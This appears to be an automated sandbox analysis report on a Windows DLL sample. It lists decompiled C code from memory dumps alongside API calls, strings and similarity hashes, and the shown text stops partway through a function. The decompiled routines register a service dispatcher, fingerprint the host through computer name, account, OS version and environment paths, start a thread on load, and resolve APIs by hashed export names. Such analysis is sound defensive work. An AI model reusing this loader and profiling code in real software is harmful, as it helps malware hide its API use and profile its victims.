Associated: 0000000C.00000002.601401710.000000006CE7F000.00000002.00020000.sdmp Download File

Similarity

API ID: MemoryVirtual$ClassCreateLibraryProtectWindowmemset$DestroyFreeLoadRegisterSectionUnregisterWrite
String ID:
API String ID: 317994034-0
Opcode ID: 406d5642fb572060cdf51ee3920d7fbfe0df158676c915eea3a88522964a839e
Instruction ID: 522655b5cd9215eb9c8ced767c12f1bda8fe0ef4dac7b947c1d0dff81318a0d2
Opcode Fuzzy Hash: 406d5642fb572060cdf51ee3920d7fbfe0df158676c915eea3a88522964a839e
Instruction Fuzzy Hash: A3313B72B50219AFEF11DFA9CD89FDAB7B8EB08318F200165E515E7650E770DA44CBA0

Uniqueness

Uniqueness Score: -1.00%

Function 6CE630AA, Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 34
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E6CE630AA() {
				int _t3;
				struct _SERVICE_TABLE_ENTRY* _t6;
				int* _t11;
				intOrPtr _t12;

				_t3 = E6CE685E5(0x10);
				 *0x6ce7e71c = _t3;
				if(_t3 == 0) {
					L4:
					return _t3 | 0xffffffff;
				} else {
					_t3 = E6CE685E5(0xa);
					_t11 =  *0x6ce7e71c; // 0x6036e0
					 *_t11 = _t3;
					if(_t3 == 0) {
						goto L4;
					} else {
						_t12 =  *0x6ce7e688; // 0x5e0590
						E6CE6900E(1, _t3, 7, 8, _t12 + 0x648);
						_t6 =  *0x6ce7e71c; // 0x6036e0
						 *((intOrPtr*)(_t6 + 4)) = E6CE63045;
						_t3 = StartServiceCtrlDispatcherA(_t6);
						if(_t3 == 0) {
							goto L4;
						} else {
							return 0;
						}
					}
				}
			}

0x6ce630ac
0x6ce630b1
0x6ce630b9
0x6ce6310c
0x6ce6310f
0x6ce630bb
0x6ce630bd
0x6ce630c3
0x6ce630c9
0x6ce630cd
0x00000000
0x6ce630cf
0x6ce630cf
0x6ce630e5
0x6ce630ea
0x6ce630f2
0x6ce630ff
0x6ce63107
0x00000000
0x6ce63109
0x6ce6310b
0x6ce6310b
0x6ce63107
0x6ce630cd

APIs

Part of subcall function 6CE685E5: HeapAlloc.KERNEL32(00000008,?,?,6CE68F65,00000100,?,6CE65FAC), ref: 6CE685F3

StartServiceCtrlDispatcherA.ADVAPI32(006036E0), ref: 6CE630FF

Strings

6`, xrefs: 6CE630B1, 6CE630C3, 6CE630EA

Memory Dump Source

Source File: 0000000C.00000002.601351808.000000006CE61000.00000020.00020000.sdmp, Offset: 6CE60000, based on PE: true

Associated: 0000000C.00000002.601346499.000000006CE60000.00000002.00020000.sdmp Download File
Associated: 0000000C.00000002.601378534.000000006CE78000.00000002.00020000.sdmp Download File
Associated: 0000000C.00000002.601396490.000000006CE7D000.00000004.00020000.sdmp Download File
Associated: 0000000C.00000002.601401710.000000006CE7F000.00000002.00020000.sdmp Download File

Similarity

API ID: AllocCtrlDispatcherHeapServiceStart
String ID: 6`
API String ID: 3270895466-547316913
Opcode ID: 03726451680de0a543898aebc0cd7b660192fa02ee314c350abf7c1f8acc4193
Instruction ID: 6c8c7b74a5ed56e3ef1845fcc7060c246d643f029b56a469a07af217db127a12
Opcode Fuzzy Hash: 03726451680de0a543898aebc0cd7b660192fa02ee314c350abf7c1f8acc4193
Instruction Fuzzy Hash: 8EF03AB17A17028FEB59CB76CC45B9537B0AB82718F308129E415CBBC1EF79D406CA60

Uniqueness

Uniqueness Score: -1.00%

Function 6CE6D061, Relevance: 35.3, APIs: 15, Strings: 5, Instructions: 282
COMMON

Download Yara Rule

C-Code - Quality: 91%

			E6CE6D061(void* __fp0) {
				long _v8;
				long _v12;
				union _SID_NAME_USE _v16;
				struct _SYSTEM_INFO _v52;
				char _v180;
				short _v692;
				char _v704;
				char _v2680;
				void* __esi;
				struct _OSVERSIONINFOA* _t81;
				intOrPtr _t83;
				void* _t84;
				long _t86;
				void** _t88;
				intOrPtr _t90;
				intOrPtr _t91;
				intOrPtr _t92;
				intOrPtr _t97;
				void* _t98;
				intOrPtr _t103;
				char* _t105;
				void* _t108;
				intOrPtr _t111;
				long _t115;
				signed int _t117;
				long _t119;
				intOrPtr _t124;
				intOrPtr _t127;
				intOrPtr _t130;
				intOrPtr _t134;
				intOrPtr _t145;
				intOrPtr _t147;
				intOrPtr _t149;
				intOrPtr _t152;
				intOrPtr _t154;
				signed int _t159;
				struct HINSTANCE__* _t162;
				short* _t164;
				intOrPtr _t167;
				WCHAR* _t168;
				char* _t169;
				intOrPtr _t181;
				intOrPtr _t200;
				void* _t215;
				long _t218;
				void* _t219;
				char* _t220;
				struct _OSVERSIONINFOA* _t222;
				void* _t223;
				int* _t224;
				void* _t241;

				_t241 = __fp0;
				_t162 =  *0x6ce7e69c; // 0x6ce60000
				_t81 = E6CE685E5(0x1ac4);
				_t222 = _t81;
				if(_t222 == 0) {
					return _t81;
				}
				 *((intOrPtr*)(_t222 + 0x1640)) = GetCurrentProcessId();
				_t83 =  *0x6ce7e684; // 0x65faa0
				_t84 =  *((intOrPtr*)(_t83 + 0xa0))(_t215);
				_t3 = _t222 + 0x648; // 0x648
				E6CE72339( *((intOrPtr*)(_t222 + 0x1640)) + _t84, _t3);
				_t5 = _t222 + 0x1644; // 0x1644
				_t216 = _t5;
				_t86 = GetModuleFileNameW(0, _t5, 0x105);
				_t227 = _t86;
				if(_t86 != 0) {
					 *((intOrPtr*)(_t222 + 0x1854)) = E6CE68F9F(_t216, _t227);
				}
				GetCurrentProcess();
				_t88 = E6CE6BA47(); // executed
				 *(_t222 + 0x110) = _t88;
				_t178 =  *_t88;
				if(E6CE6BBCF( *_t88) == 0) {
					_t90 = E6CE6BAA4(_t178, _t222);
					__eflags = _t90;
					_t181 = (0 | _t90 > 0x00000000) + 1;
					__eflags = _t181;
					 *((intOrPtr*)(_t222 + 0x214)) = _t181;
				} else {
					 *((intOrPtr*)(_t222 + 0x214)) = 3;
				}
				_t12 = _t222 + 0x220; // 0x220, executed
				_t91 = E6CE6E433(_t12); // executed
				 *((intOrPtr*)(_t222 + 0x218)) = _t91;
				_t92 = E6CE6E3F8(_t12); // executed
				 *((intOrPtr*)(_t222 + 0x21c)) = _t92;
				 *(_t222 + 0x224) = _t162;
				_v12 = 0x80;
				_v8 = 0x100;
				_t22 = _t222 + 0x114; // 0x114
				if(LookupAccountSidW(0,  *( *(_t222 + 0x110)), _t22,  &_v12,  &_v692,  &_v8,  &_v16) == 0) {
					GetLastError();
				}
				_t97 =  *0x6ce7e694; // 0x65fbf8
				_t98 =  *((intOrPtr*)(_t97 + 0x3c))(0x1000);
				_t26 = _t222 + 0x228; // 0x228
				 *(_t222 + 0x1850) = 0 | _t98 > 0x00000000;
				GetModuleFileNameW( *(_t222 + 0x224), _t26, 0x105);
				GetLastError();
				_t31 = _t222 + 0x228; // 0x228
				 *((intOrPtr*)(_t222 + 0x434)) = E6CE68F9F(_t31, _t98);
				_t34 = _t222 + 0x114; // 0x114, executed
				_t103 = E6CE6B7EA(_t34,  &_v692);
				_t35 = _t222 + 0xb0; // 0xb0
				 *((intOrPtr*)(_t222 + 0xac)) = _t103;
				_push(_t35);
				E6CE6B6BF(_t103, _t35, _t98, _t241);
				_t37 = _t222 + 0xb0; // 0xb0
				_t105 = _t37;
				_t38 = _t222 + 0xd0; // 0xd0
				_t164 = _t38;
				if(_t105 != 0) {
					_t159 = MultiByteToWideChar(0, 0, _t105, 0xffffffff, _t164, 0x20);
					if(_t159 > 0) {
						_t164[_t159] = 0;
					}
				}
				_t41 = _t222 + 0x438; // 0x438
				_t42 = _t222 + 0x228; // 0x228
				E6CE68FB9(_t42, _t41);
				_t43 = _t222 + 0xb0; // 0xb0
				_t108 = E6CE6D442(_t43, E6CE6C3BB(_t43), 0);
				_t44 = _t222 + 0x100c; // 0x100c
				E6CE6B8CC(_t108, _t44, _t241);
				_t199 = GetCurrentProcess(); // executed
				_t111 = E6CE6BC21(_t110); // executed
				 *((intOrPtr*)(_t222 + 0x101c)) = _t111;
				memset(_t222, 0, 0x9c);
				_t224 = _t223 + 0xc;
				_t222->dwOSVersionInfoSize = 0x9c;
				GetVersionExA(_t222);
				_t167 =  *0x6ce7e684; // 0x65faa0
				_t115 = 0;
				_v8 = 0;
				if( *((intOrPtr*)(_t167 + 0x6c)) != 0) {
					 *((intOrPtr*)(_t167 + 0x6c))(GetCurrentProcess(),  &_v8);
					_t115 = _v8;
				}
				 *((intOrPtr*)(_t222 + 0xa8)) = _t115;
				if(_t115 == 0) {
					GetSystemInfo( &_v52);
					_t117 = _v52.dwOemId & 0x0000ffff;
				} else {
					_t117 = 9;
				}
				_t54 = _t222 + 0x1020; // 0x1020
				_t168 = _t54;
				 *(_t222 + 0x9c) = _t117;
				GetWindowsDirectoryW(_t168, 0x104);
				_t119 = E6CE695C2(_t199, 0x10c);
				_t200 =  *0x6ce7e684; // 0x65faa0
				_t218 = _t119;
				 *_t224 = 0x104;
				_push( &_v704);
				_push(_t218);
				_v8 = _t218;
				if( *((intOrPtr*)(_t200 + 0xe0))() == 0) {
					_t154 =  *0x6ce7e684; // 0x65faa0
					 *((intOrPtr*)(_t154 + 0xfc))(_t218, _t168);
				}
				E6CE685B6( &_v8);
				_t124 =  *0x6ce7e684; // 0x65faa0
				_t61 = _t222 + 0x1434; // 0x1434
				_t219 = _t61;
				 *_t224 = 0x209;
				_push(_t219);
				_push(L"USERPROFILE");
				if( *((intOrPtr*)(_t124 + 0xe0))() == 0) {
					E6CE69621(_t219, 0x105, L"%s\\%s", _t168);
					_t152 =  *0x6ce7e684; // 0x65faa0
					_t224 =  &(_t224[5]);
					 *((intOrPtr*)(_t152 + 0xfc))(L"USERPROFILE", _t219, "TEMP");
				}
				_push(0x20a);
				_t64 = _t222 + 0x122a; // 0x122a
				_t169 = L"TEMP";
				_t127 =  *0x6ce7e684; // 0x65faa0
				_push(_t169);
				if( *((intOrPtr*)(_t127 + 0xe0))() == 0) {
					_t149 =  *0x6ce7e684; // 0x65faa0
					 *((intOrPtr*)(_t149 + 0xfc))(_t169, _t219);
				}
				_push(0x40);
				_t220 = L"SystemDrive";
				_push( &_v180);
				_t130 =  *0x6ce7e684; // 0x65faa0
				_push(_t220);
				if( *((intOrPtr*)(_t130 + 0xe0))() == 0) {
					_t147 =  *0x6ce7e684; // 0x65faa0
					 *((intOrPtr*)(_t147 + 0xfc))(_t220, L"C:");
				}
				_v8 = 0x7f;
				_t72 = _t222 + 0x199c; // 0x199c
				_t134 =  *0x6ce7e684; // 0x65faa0
				 *((intOrPtr*)(_t134 + 0xb0))(_t72,  &_v8);
				_t75 = _t222 + 0x100c; // 0x100c
				E6CE72339(E6CE6D442(_t75, E6CE6C3BB(_t75), 0),  &_v2680);
				_t76 = _t222 + 0x1858; // 0x1858
				E6CE7230B( &_v2680, _t76, 0x20);
				_t79 = _t222 + 0x1878; // 0x1878
				E6CE6900E(1, _t79, 0x14, 0x1e,  &_v2680);
				_t145 = E6CE6CD75(_t79); // executed
				 *((intOrPtr*)(_t222 + 0x1898)) = _t145;
				return _t222;
			}

0x6ce6d061
0x6ce6d06b
0x6ce6d077
0x6ce6d07c
0x6ce6d081
0x6ce6d441
0x6ce6d441
0x6ce6d08e
0x6ce6d094
0x6ce6d099
0x6ce6d09f
0x6ce6d0af
0x6ce6d0bb
0x6ce6d0bb
0x6ce6d0c4
0x6ce6d0ca
0x6ce6d0cc
0x6ce6d0d5
0x6ce6d0d5
0x6ce6d0e1
0x6ce6d0e5
0x6ce6d0ea
0x6ce6d0f0
0x6ce6d0f9
0x6ce6d107
0x6ce6d10e
0x6ce6d113
0x6ce6d113
0x6ce6d114
0x6ce6d0fb
0x6ce6d0fb
0x6ce6d0fb
0x6ce6d11a
0x6ce6d120
0x6ce6d125
0x6ce6d12b
0x6ce6d133
0x6ce6d13d
0x6ce6d14a
0x6ce6d155
0x6ce6d15d
0x6ce6d17e
0x6ce6d180
0x6ce6d180
0x6ce6d182
0x6ce6d18c
0x6ce6d198
0x6ce6d1a8
0x6ce6d1ae
0x6ce6d1b4
0x6ce6d1b6
0x6ce6d1c7
0x6ce6d1cd
0x6ce6d1d3
0x6ce6d1d8
0x6ce6d1de
0x6ce6d1e4
0x6ce6d1e9
0x6ce6d1ee
0x6ce6d1ee
0x6ce6d1f4
0x6ce6d1f4
0x6ce6d1fd
0x6ce6d209
0x6ce6d211
0x6ce6d215
0x6ce6d215
0x6ce6d211
0x6ce6d219
0x6ce6d21f
0x6ce6d225
0x6ce6d22c
0x6ce6d23d
0x6ce6d243
0x6ce6d24b
0x6ce6d252
0x6ce6d254
0x6ce6d265
0x6ce6d26b
0x6ce6d270
0x6ce6d273
0x6ce6d276
0x6ce6d27c
0x6ce6d282
0x6ce6d284
0x6ce6d28a
0x6ce6d293
0x6ce6d296
0x6ce6d296
0x6ce6d299
0x6ce6d2a1
0x6ce6d2ac
0x6ce6d2b2
0x6ce6d2a3
0x6ce6d2a5
0x6ce6d2a5
0x6ce6d2bb
0x6ce6d2bb
0x6ce6d2c1
0x6ce6d2c9
0x6ce6d2d4
0x6ce6d2d9
0x6ce6d2df
0x6ce6d2e1
0x6ce6d2ee
0x6ce6d2ef
0x6ce6d2f0
0x6ce6d2fb
0x6ce6d2fd
0x6ce6d304
0x6ce6d304
0x6ce6d30e
0x6ce6d313
0x6ce6d318
0x6ce6d318
0x6ce6d31e
0x6ce6d325
0x6ce6d326
0x6ce6d333
0x6ce6d346
0x6ce6d34b
0x6ce6d350
0x6ce6d359
0x6ce6d359
0x6ce6d35f
0x6ce6d364
0x6ce6d36a
0x6ce6d370
0x6ce6d375
0x6ce6d37e
0x6ce6d380
0x6ce6d387
0x6ce6d387
0x6ce6d38d
0x6ce6d395
0x6ce6d39a
0x6ce6d39b
0x6ce6d3a0
0x6ce6d3a9
0x6ce6d3ab
0x6ce6d3b6
0x6ce6d3b6
0x6ce6d3bf
0x6ce6d3c7
0x6ce6d3ce
0x6ce6d3d3
0x6ce6d3e2
0x6ce6d3fa
0x6ce6d401
0x6ce6d40f
0x6ce6d421
0x6ce6d428
0x6ce6d430
0x6ce6d435
0x00000000

APIs

Part of subcall function 6CE685E5: HeapAlloc.KERNEL32(00000008,?,?,6CE68F65,00000100,?,6CE65FAC), ref: 6CE685F3

GetCurrentProcessId.KERNEL32 ref: 6CE6D088
GetModuleFileNameW.KERNEL32(00000000,00001644,00000105), ref: 6CE6D0C4
GetCurrentProcess.KERNEL32 ref: 6CE6D0E1
LookupAccountSidW.ADVAPI32(00000000,?,00000114,00000080,?,?,?), ref: 6CE6D173
GetLastError.KERNEL32 ref: 6CE6D180
GetModuleFileNameW.KERNEL32(?,00000228,00000105), ref: 6CE6D1AE
GetLastError.KERNEL32 ref: 6CE6D1B4
MultiByteToWideChar.KERNEL32(00000000,00000000,000000B0,000000FF,000000D0,00000020), ref: 6CE6D209
GetCurrentProcess.KERNEL32 ref: 6CE6D250
memset.MSVCRT ref: 6CE6D26B
GetVersionExA.KERNEL32(00000000), ref: 6CE6D276
GetCurrentProcess.KERNEL32(00000100), ref: 6CE6D290
IsWow64Process.KERNEL32(00000000), ref: 6CE6D293
GetSystemInfo.KERNEL32(?), ref: 6CE6D2AC
GetWindowsDirectoryW.KERNEL32(00001020,00000104), ref: 6CE6D2C9

Strings

SystemDrive, xrefs: 6CE6D395, 6CE6D3A0, 6CE6D3B5
USERPROFILE, xrefs: 6CE6D326, 6CE6D354
TEMP, xrefs: 6CE6D335
%s\%s, xrefs: 6CE6D33B
TEMP, xrefs: 6CE6D36A, 6CE6D375, 6CE6D386

Memory Dump Source

Source File: 0000000C.00000002.601351808.000000006CE61000.00000020.00020000.sdmp, Offset: 6CE60000, based on PE: true

Associated: 0000000C.00000002.601346499.000000006CE60000.00000002.00020000.sdmp Download File
Associated: 0000000C.00000002.601378534.000000006CE78000.00000002.00020000.sdmp Download File
Associated: 0000000C.00000002.601396490.000000006CE7D000.00000004.00020000.sdmp Download File
Associated: 0000000C.00000002.601401710.000000006CE7F000.00000002.00020000.sdmp Download File

Similarity

API ID: Process$Current$ErrorFileLastModuleName$AccountAllocByteCharDirectoryHeapInfoLookupMultiSystemVersionWideWindowsWow64memset
String ID: %s\%s$SystemDrive$TEMP$TEMP$USERPROFILE
API String ID: 37876710-2706916422
Opcode ID: 28039470590600624de84cdc86d92f4b0af2e8daf8d6b036524d3949ddc4eb50
Instruction ID: bd12ea13690548621c99a551f3122a9e5aa8db0bd5c459bca41cb26c5b728799
Opcode Fuzzy Hash: 28039470590600624de84cdc86d92f4b0af2e8daf8d6b036524d3949ddc4eb50
Instruction Fuzzy Hash: AFB16F71650704AFDB20DB75C888FEA77F8EF19304F20486DE55AD7A81EB70AA44CB61

Uniqueness

Uniqueness Score: -1.00%

Function 6CE65F63, Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 104
threadCOMMON

Download Yara Rule

C-Code - Quality: 82%

			_entry_(void* __edx, struct HINSTANCE__* _a4, WCHAR* _a8) {
				long _v8;
				char _v16;
				short _v144;
				short _v664;
				void* _t19;
				struct HINSTANCE__* _t22;
				long _t23;
				long _t24;
				char* _t27;
				WCHAR* _t32;
				long _t33;
				void* _t38;
				void* _t49;
				struct _SECURITY_ATTRIBUTES* _t53;
				void* _t54;
				intOrPtr* _t55;
				void* _t57;

				_t49 = __edx;
				OutputDebugStringA("Hello qqq"); // executed
				if(_a8 != 1) {
					if(_a8 != 0) {
						L12:
						return 1;
					}
					SetLastError(0xaa);
					L10:
					return 0;
				}
				E6CE685D0();
				_t19 = E6CE697ED( &_v16);
				_t57 = _t49;
				if(_t57 < 0 || _t57 <= 0 && _t19 < 0x2e830) {
					goto L12;
				} else {
					E6CE68F59();
					GetModuleHandleA(0);
					_t22 = _a4;
					 *0x6ce7e69c = _t22;
					_t23 = GetModuleFileNameW(_t22,  &_v664, 0x104);
					_t24 = GetLastError();
					if(_t23 != 0 && _t24 != 0x7a) {
						memset( &_v144, 0, 0x80);
						_t55 = _t54 + 0xc;
						_t53 = 0;
						do {
							_t27 = E6CE695A8(_t53);
							_a8 = _t27;
							MultiByteToWideChar(0, 0, _t27, 0xffffffff,  &_v144, 0x3f);
							E6CE685A3( &_a8);
							_t53 =  &(_t53->nLength);
						} while (_t53 < 0x2710);
						E6CE72A93( *0x6ce7e69c);
						 *_t55 = 0x7c3;
						 *0x6ce7e684 = E6CE6E1FE(0x6ce7ba20, 0x11c);
						 *_t55 = 0xb4e;
						_t32 = E6CE695C2(0x6ce7ba20);
						_a8 = _t32;
						_t33 = GetFileAttributesW(_t32); // executed
						_push( &_a8);
						if(_t33 == 0xffffffff) {
							E6CE685B6();
							_v8 = 0;
							_t38 = CreateThread(0, 0, E6CE65DE7, 0, 0,  &_v8);
							 *0x6ce7e6a8 = _t38;
							if(_t38 == 0) {
								goto L10;
							}
							goto L12;
						}
						E6CE685B6();
					}
					goto L10;
				}
			}

0x6ce65f63
0x6ce65f73
0x6ce65f7d
0x6ce660b1
0x6ce660a4
0x00000000
0x6ce660a6
0x6ce660b8
0x6ce66079
0x00000000
0x6ce66079
0x6ce65f83
0x6ce65f8b
0x6ce65f92
0x6ce65f94
0x00000000
0x6ce65fa7
0x6ce65fa7
0x6ce65fad
0x6ce65fb3
0x6ce65fc3
0x6ce65fc8
0x6ce65fd0
0x6ce65fd8
0x6ce65ff4
0x6ce65ff9
0x6ce65ffc
0x6ce65ffe
0x6ce66000
0x6ce6600d
0x6ce66016
0x6ce6601f
0x6ce66024
0x6ce66025
0x6ce66033
0x6ce6603d
0x6ce6604e
0x6ce66053
0x6ce6605a
0x6ce66061
0x6ce66064
0x6ce66070
0x6ce66071
0x6ce6607d
0x6ce66086
0x6ce66098
0x6ce6609b
0x6ce660a2
0x00000000
0x00000000
0x00000000
0x6ce660a2
0x6ce66073
0x6ce66078
0x00000000
0x6ce65fd8

APIs

OutputDebugStringA.KERNEL32(Hello qqq), ref: 6CE65F73
SetLastError.KERNEL32(000000AA), ref: 6CE660B8

Part of subcall function 6CE685D0: HeapCreate.KERNEL32(00000000,00080000,00000000,6CE65F88), ref: 6CE685D9

Part of subcall function 6CE697ED: GetSystemTimeAsFileTime.KERNEL32(?,?,6CE65F90), ref: 6CE697FA
Part of subcall function 6CE697ED: __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6CE6981A

GetModuleHandleA.KERNEL32(00000000), ref: 6CE65FAD
GetModuleFileNameW.KERNEL32(?,?,00000104), ref: 6CE65FC8
GetLastError.KERNEL32 ref: 6CE65FD0
memset.MSVCRT ref: 6CE65FF4
MultiByteToWideChar.KERNEL32(00000000,00000000,00000000,000000FF,?,0000003F), ref: 6CE66016
GetFileAttributesW.KERNEL32(00000000), ref: 6CE66064
CreateThread.KERNEL32(00000000,00000000,6CE65DE7,00000000,00000000,?), ref: 6CE66098

Strings

Hello qqq, xrefs: 6CE65F6E

Memory Dump Source

Source File: 0000000C.00000002.601351808.000000006CE61000.00000020.00020000.sdmp, Offset: 6CE60000, based on PE: true

Associated: 0000000C.00000002.601346499.000000006CE60000.00000002.00020000.sdmp Download File
Associated: 0000000C.00000002.601378534.000000006CE78000.00000002.00020000.sdmp Download File
Associated: 0000000C.00000002.601396490.000000006CE7D000.00000004.00020000.sdmp Download File
Associated: 0000000C.00000002.601401710.000000006CE7F000.00000002.00020000.sdmp Download File

Similarity

API ID: File$CreateErrorLastModuleTime$AttributesByteCharDebugHandleHeapMultiNameOutputStringSystemThreadUnothrow_t@std@@@Wide__ehfuncinfo$??2@memset
String ID: Hello qqq
API String ID: 3435743081-3610097158
Opcode ID: 11fdb355aa2472be1bc73df541fa6e7ac5175ba9368e2ded9825846551ed4b27
Instruction ID: 85890f3a7a129fdc1e80ed60625d88dc341f4d5351a4dc5ec7c01b8978858f7b
Opcode Fuzzy Hash: 11fdb355aa2472be1bc73df541fa6e7ac5175ba9368e2ded9825846551ed4b27
Instruction Fuzzy Hash: EF31C670A60114AFDF31DB62CC48E9E3BB8EB52718F30852EE455D6E80DB348945CB72

Uniqueness

Uniqueness Score: -1.00%

Function 6CEAAFC0, Relevance: 10.8, APIs: 3, Strings: 3, Instructions: 262memoryCOMMON

Download Yara Rule

APIs

GetWindowsDirectoryW.KERNEL32(6CEDE920,0000051D), ref: 6CEAB1EF
VirtualProtect.KERNEL32(6CEDF420,00005016,00000040,6CEDF424), ref: 6CEAB230
GetWindowsDirectoryW.KERNEL32(6CEDE920,0000051D), ref: 6CEAB3DC

Strings

+JAA, xrefs: 6CEAB001, 6CEAB016, 6CEAB04F, 6CEAB055, 6CEAB25D, 6CEAB292
@, xrefs: 6CEAAFCE
B, xrefs: 6CEAAFC7

Memory Dump Source

Source File: 0000000C.00000002.601406182.000000006CE81000.00000020.00020000.sdmp, Offset: 6CE81000, based on PE: false

Similarity

API ID: DirectoryWindows$ProtectVirtual
String ID: +JAA$@$B
API String ID: 1258730550-3055704029
Opcode ID: 2f2f842134bb000fd7fa4eed38cb74d28ac422a94ceaf5617f8cbcc0d4d2debe
Instruction ID: eeef9132c2374a5967bd07fbe62739312d1b85865d86219830cee0a52b73ee82
Opcode Fuzzy Hash: 2f2f842134bb000fd7fa4eed38cb74d28ac422a94ceaf5617f8cbcc0d4d2debe
Instruction Fuzzy Hash: E3D158797061948FCB09DF68E6A06683BB1EB8B308B15716DD0498B749C3B6B781CF24

Uniqueness

Uniqueness Score: -1.00%

Function 6CE6DFEF, Relevance: 10.6, APIs: 2, Strings: 4, Instructions: 95
libraryloaderCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E6CE6DFEF(void* __ecx, intOrPtr __edx) {
				signed int _v8;
				intOrPtr _v12;
				intOrPtr _v16;
				intOrPtr _v20;
				intOrPtr _v24;
				char _v28;
				char _v92;
				intOrPtr _t41;
				signed int _t47;
				signed int _t49;
				signed int _t51;
				void* _t56;
				struct HINSTANCE__* _t58;
				_Unknown_base(*)()* _t59;
				intOrPtr _t60;
				void* _t62;
				intOrPtr _t63;
				void* _t69;
				char _t70;
				void* _t75;
				CHAR* _t80;
				void* _t82;

				_t75 = __ecx;
				_v12 = __edx;
				_t60 =  *((intOrPtr*)(__ecx + 0x3c));
				_t41 =  *((intOrPtr*)(_t60 + __ecx + 0x78));
				if(_t41 == 0) {
					L4:
					return 0;
				}
				_t62 = _t41 + __ecx;
				_v24 =  *((intOrPtr*)(_t62 + 0x24)) + __ecx;
				_t73 =  *((intOrPtr*)(_t62 + 0x20)) + __ecx;
				_t63 =  *((intOrPtr*)(_t62 + 0x18));
				_v28 =  *((intOrPtr*)(_t62 + 0x1c)) + __ecx;
				_t47 = 0;
				_v20 =  *((intOrPtr*)(_t62 + 0x20)) + __ecx;
				_v8 = 0;
				_v16 = _t63;
				if(_t63 == 0) {
					goto L4;
				} else {
					goto L2;
				}
				while(1) {
					L2:
					_t49 = E6CE6D442( *((intOrPtr*)(_t73 + _t47 * 4)) + _t75, E6CE6C3BB( *((intOrPtr*)(_t73 + _t47 * 4)) + _t75), 0);
					_t18 =  &_v8; // 0x6ce6604e
					_t51 =  *_t18;
					if((_t49 ^ 0x218fe95b) == _v12) {
						break;
					}
					_t73 = _v20;
					_t47 = _t51 + 1;
					_v8 = _t47;
					if(_t47 < _v16) {
						continue;
					}
					goto L4;
				}
				_t23 =  &_v28; // 0x6ce6e23d
				_t69 =  *((intOrPtr*)(_t60 + _t75 + 0x78)) + _t75;
				_t80 =  *((intOrPtr*)( *_t23 + ( *(_v24 + _t51 * 2) & 0x0000ffff) * 4)) + _t75;
				if(_t80 < _t69 || _t80 >=  *((intOrPtr*)(_t60 + _t75 + 0x7c)) + _t69) {
					return _t80;
				} else {
					_t56 = 0;
					while(1) {
						_t70 = _t80[_t56];
						if(_t70 == 0x2e || _t70 == 0) {
							break;
						}
						 *((char*)(_t82 + _t56 - 0x58)) = _t70;
						_t56 = _t56 + 1;
						if(_t56 < 0x40) {
							continue;
						}
						break;
					}
					 *((intOrPtr*)(_t82 + _t56 - 0x58)) = 0x6c6c642e;
					 *((char*)(_t82 + _t56 - 0x54)) = 0;
					if( *((char*)(_t56 + _t80)) != 0) {
						_t80 =  &(( &(_t80[1]))[_t56]);
					}
					_t40 =  &_v92; // 0x6c6c642e
					_t58 = LoadLibraryA(_t40); // executed
					if(_t58 == 0) {
						goto L4;
					}
					_t59 = GetProcAddress(_t58, _t80);
					if(_t59 == 0) {
						goto L4;
					}
					return _t59;
				}
			}

0x6ce6dff8
0x6ce6dffa
0x6ce6dffd
0x6ce6e000
0x6ce6e006
0x6ce6e063
0x00000000
0x6ce6e063
0x6ce6e008
0x6ce6e013
0x6ce6e016
0x6ce6e01b
0x6ce6e020
0x6ce6e023
0x6ce6e025
0x6ce6e028
0x6ce6e02b
0x6ce6e030
0x00000000
0x00000000
0x00000000
0x00000000
0x6ce6e032
0x6ce6e032
0x6ce6e044
0x6ce6e051
0x6ce6e051
0x6ce6e055
0x00000000
0x00000000
0x6ce6e057
0x6ce6e05a
0x6ce6e05b
0x6ce6e061
0x00000000
0x00000000
0x00000000
0x6ce6e061
0x6ce6e06d
0x6ce6e078
0x6ce6e07d
0x6ce6e081
0x00000000
0x6ce6e08d
0x6ce6e08d
0x6ce6e08f
0x6ce6e08f
0x6ce6e095
0x00000000
0x00000000
0x6ce6e09b
0x6ce6e09f
0x6ce6e0a3
0x00000000
0x00000000
0x00000000
0x6ce6e0a3
0x6ce6e0a9
0x6ce6e0b1
0x6ce6e0b6
0x6ce6e0b9
0x6ce6e0b9
0x6ce6e0bb
0x6ce6e0bf
0x6ce6e0c7
0x00000000
0x00000000
0x6ce6e0cb
0x6ce6e0d3
0x00000000
0x00000000
0x00000000
0x6ce6e0d3

APIs

LoadLibraryA.KERNEL32(.dll), ref: 6CE6E0BF
GetProcAddress.KERNEL32(00000000,=l), ref: 6CE6E0CB

Strings

=l, xrefs: 6CE6E06D, 6CE6E0C9
.dll, xrefs: 6CE6E0BB, 6CE6E0BE
N`l, xrefs: 6CE6E051
N`l, xrefs: 6CE6DFF7

Memory Dump Source

Source File: 0000000C.00000002.601351808.000000006CE61000.00000020.00020000.sdmp, Offset: 6CE60000, based on PE: true

Associated: 0000000C.00000002.601346499.000000006CE60000.00000002.00020000.sdmp Download File
Associated: 0000000C.00000002.601378534.000000006CE78000.00000002.00020000.sdmp Download File
Associated: 0000000C.00000002.601396490.000000006CE7D000.00000004.00020000.sdmp Download File
Associated: 0000000C.00000002.601401710.000000006CE7F000.00000002.00020000.sdmp Download File

Similarity

API ID: AddressLibraryLoadProc
String ID: .dll$=l$N`l$N`l
API String ID: 2574300362-1783737482
Opcode ID: a59937f8bbbbb2b6c035676bc81aae4839ad075314b42c5118e504e83dd16884
Instruction ID: 283f268681ba3ec81357b9e5a90c4629d6592c01a492d03041858eb223b364d0
Opcode Fuzzy Hash: a59937f8bbbbb2b6c035676bc81aae4839ad075314b42c5118e504e83dd16884
Instruction Fuzzy Hash: 5831FE35A515598BDB50CFAEC880BAEBBF5AF44308F340469C884E7B81DB30D941CBE1

Uniqueness

Uniqueness Score: -1.00%

Function 6CE6B7EA, Relevance: 9.1, APIs: 6, Instructions: 83
stringCOMMON

Download Yara Rule

C-Code - Quality: 94%

			E6CE6B7EA(WCHAR* __ecx, void* __edx) {
				long _v8;
				long _v12;
				WCHAR* _v16;
				short _v528;
				short _v1040;
				short _v1552;
				WCHAR* _t27;
				signed int _t29;
				void* _t33;
				long _t38;
				WCHAR* _t43;
				WCHAR* _t56;

				_t44 = __ecx;
				_v8 = _v8 & 0x00000000;
				_t43 = __edx;
				_t56 = __ecx;
				memset(__edx, 0, 0x100);
				_v12 = 0x100;
				GetComputerNameW( &_v528,  &_v12);
				lstrcpynW(_t43,  &_v528, 0x100);
